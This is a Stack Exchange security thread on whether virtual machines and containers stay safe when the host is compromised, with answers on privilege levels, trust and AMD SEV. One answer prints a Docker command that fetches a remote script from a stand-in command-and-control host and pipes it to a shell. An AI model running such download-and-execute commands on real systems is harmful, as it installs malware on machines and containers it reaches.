31

I've been researching on virtual machine security and found a lot of articles detailing how an infected VM is isolated (or not) from the host machine.

But I couldn't find any answers to the opposite side of the question. If my host is infected, can I safely run some operation inside of a VM? How would that work?

João A. Veiga
  • 421
  • 2
  • 5
  • 2
    This may also be an interesting question the other way around... – Scot Jan 26 '22 at 02:59
  • 2
    @scot The other way around is an actual security design question in the same vein as potential privilege escalation attacks. – Shadur Jan 26 '22 at 08:10
  • 2
    Imagine someone breaks into your house, do they have access to the garage? Probably. The internal lock on your garage door is probably less strong, there's likely a spare key in the drawer, and they can also isolate the power/water etc. from inside the main house. Will they want to go in there? Who knows, but once they're "inside" you can't stop them doing any things they like. – David258 Jan 26 '22 at 17:31
  • Can you infect the VM yourself? Does the malware have the ability to do things you can do (like reading your bank data)? – user253751 Jan 27 '22 at 14:10

5 Answers5

77

The initial question asks "Will the VM be infected?", which is asking to predict the future, which is not possible for anyone on this site to do. So instead, I will answer "Can the VM be infected?"

The reason why you read a lot about VM isolation is because the VM is, in essence, just a process on the host machine, similar to Chrome, VLC or any game you may be playing. A VM process just happens to be a lot more complex, but in essence, the VM is less privileged than your host's operating system. It would be nonsensical if the VM could somehow "overrule" the host's operating system.

But this paints a clear picture: The host OS is more privileged than the guest OS. If malware infects the host, then an attacker may be able to run commands with elevated privileges (root on UNIX systems, SYSTEM on Windows, etc.), or even run with kernel privileges.

If that is the case, then the VM can be modified and infected at will by an attacker. After all, the VM is just a process, running in the same compromised environment.

  • 4
    Does this change at all with features like AMD Secure Encrypted Virtualization? – user Jan 25 '22 at 13:50
  • 1
    @user I don't know, but my gut feeling says no. –  Jan 25 '22 at 14:30
  • 26
    @user: No, fundamentally it does not change. They may claim it does, offer magical-thinking reasons it supposedly doesn't, bring in fancy "enclaves" and "secure execution environments" and whatnot, but ultimately your VM is setup by software under the control of the host, and whether any of that snake oil *even gets used* is up to the host. The compromised ("infected") host. – R.. GitHub STOP HELPING ICE Jan 25 '22 at 22:11
  • 1
    @R..GitHubSTOPHELPINGICE I would not call it snake oil. But this is not the problem it's intended to solve. – BlueRaja - Danny Pflughoeft Jan 26 '22 at 10:02
  • 1
    @BlueRaja-DannyPflughoeft I see now, most of the stuff available for it is to stop the VM from being decrypted on a host that failed remote attestation, not for running the VM securely on a compromised/untrusted host. – user Jan 26 '22 at 13:56
  • 1
    VM products is just another software, not a concrete wall. And as any other, it can be affected by bugs and side-effects. Just google for "guest to host vulnerability" to see how real the threat is and how dangerous to work on outdated solutions. – Yury Schkatula Jan 26 '22 at 14:00
  • 3
    @R. The point here is that after SEV (and the various other approaches from other vendors) has been set up the HV shouldn't be able to access the guess memory. Which eliminates one common attack vector. Now if you also ensure that the kernel, boot loaders, etc. cannot be modified this actually does make it a whole lot harder to get at the data. Obviously given the complexities of the involved systems there'll be other bugs to get around this, but it does make it harder. – Voo Jan 26 '22 at 15:04
  • 4
    @Voo: That doesn't really help if the initial guest environment was *created by* the compromised host; the compromised host need not even actually use the "secure execution" environment it's claiming to use; it can just tell you it's using it. If you're *starting from* an encrypted guest image with keying intended to make it such that only the secure execution unit can see it, then you're getting somewhere near the realm of actual security boundaries, but still the host has all sorts of exploits at its disposal to extract the keys. – R.. GitHub STOP HELPING ICE Jan 26 '22 at 15:38
  • @R. That's where the second point about ensuring an unmodified kernel and boot environment comes in play. – Voo Jan 26 '22 at 16:08
  • 1
    @YurySchkatula We're talking about "Host to guest", not the other way around. –  Jan 26 '22 at 16:25
  • The easy modification is when the WM is off. The WM's disk can be easily modified. That is why one needs full-disk encryption even in WM. – kelalaka Jan 26 '22 at 18:20
  • 1
    @MechMK1 indeed we are, however I'd like just to emphasize that both ways are possible, regarding `It would be nonsensical if the VM could somehow "overrule" the host's operating system.` – Yury Schkatula Jan 27 '22 at 11:21
  • 2
    @YurySchkatula Breaking out of a VM is a super-variant of privilege escalation attacks. It *can* be a concern - significantly more so for container-type machines than 'full' VMs - but it's wildly outside the scope of the original question. – Shadur Jan 28 '22 at 09:36
  • @YurySchkatula to extend your analogy, concrete walls don't stop everything either; grinders, drills, explosives, impacts, acids, etc. can penetrate them. Try telling an Army division (or even a resourceful handyman) "you can't get there, there's a concrete wall in the way." – Technophile Feb 02 '22 at 19:49
14

I believe you are asking the wrong question.

Whether or not your VM is infected is an open question. To answer it, you can inspect the malware, inspect the VM, draw conclusions, make a guess. But you will never know for certain. There is always a possibility that you missed a hidden payload, that your inspection wasn't perfect, that the experts describing what the malware does missed something or that it isn't the exact malware you think it is, but a variant.

The right question to ask is: Can you still trust your VM?

And that answer is no, you cannot. Since you cannot rule out the possibility that the VM was also compromised, or the VM engine itself is compromised, you cannot trust the VM and it is impossible to restore trust.

A thorough inspection can restore some confidence, but not full trust. That machine was out of your control, and you can not be 100% sure that it is now back exclusively under your control.

Tom
  • 10,124
  • 18
  • 51
9

Yes, if the host is compromised it will almost certainly have access to all of the containers within it through both privileged memory reading and administrative API calls.

Jeff Ferland
  • 38,090
  • 9
  • 93
  • 171
4

The first practical example that comes into my mind is Docker.

Containers are not VMs, but sort of, and the attack pattern is absolutely simple. Once you have taken control of the host machine, you can run commands such as

docker exec [runningContainerName] wget -q -O - https://c-and-c.com/evil-payload.sh | sh

The above command runs a privileged command in a running container, and infects the target container with remote malware. Think about any other possible alternative.

As for VMs, I can think of

Theoretically

You got control of the host, possibly of the kernel, so the malware can control the hypervisor and alter the behaviour of guest machine, access kernel memory areas of the guest, etc.

This is from a high-level perspective.

Practically?

Once you infected the host machine with a malware, you can start from shutting down, deleting, dumping the VMs. If your virtualization engine supports a deeper interaction with the machines from shell commands, it is easier for the malware to do other evil

  • Connect a USB virtual keyboard and type commnands?
  • Run an executable like on Docker? (This is not something you normally do out-of-the box without a PCI virtual controller)
  • Switch virtual networks and do evil things on traffic?

Pratically, it all depends on the complexity of the malware and the level of interaction provided by virtualization engine. Targeted malware can do targeted action..

I can also think the malware can infest/infect the UEFI firmware of the guest machines to run code on boot (I'm thinking about some UEFI bloatware currently on the market, but to run other malware on the VM)

usr-local-ΕΨΗΕΛΩΝ
  • 5,310
  • 2
  • 17
  • 35
2

Not automatically, unless the malware on the host either/or:

  1. Explicitly recognizes the existence of the VM(s) and takes steps to compromise it

  2. Implicitly Compromises resources (eg a shared filesystem with executable files used by both systems) used by the VM

  3. Manipulates operating system or hardware facilities that are used to implement functionalities of hypervisor/drivers (eg low level driver code or firmware used for a network interface card effectively used by host and VMs)

However, unless measures were taken that make any access to a VM resource impossible from the host operating system (eg use of encrypted filesystems with no key available to the host), or unless the malware that was used is completely known and analyzed* and it can be established 1. to 3. did not happen, or all content of the VM can be verified against a known uncorrupted resource (eg by loading the VM on a different known good host and comparing files against a known good copy of the VM) independent of the host, integrity of the VM can not be guaranteed.

*In practice(!), this might sometimes be considered as established when there is a limited number of extant exploitation tools and these are well analyzed, and there is a high likelyhood one of these was used (that is what "antivirus" software does in the end). No guarantees though...

rackandboneman
  • 975
  • 4
  • 9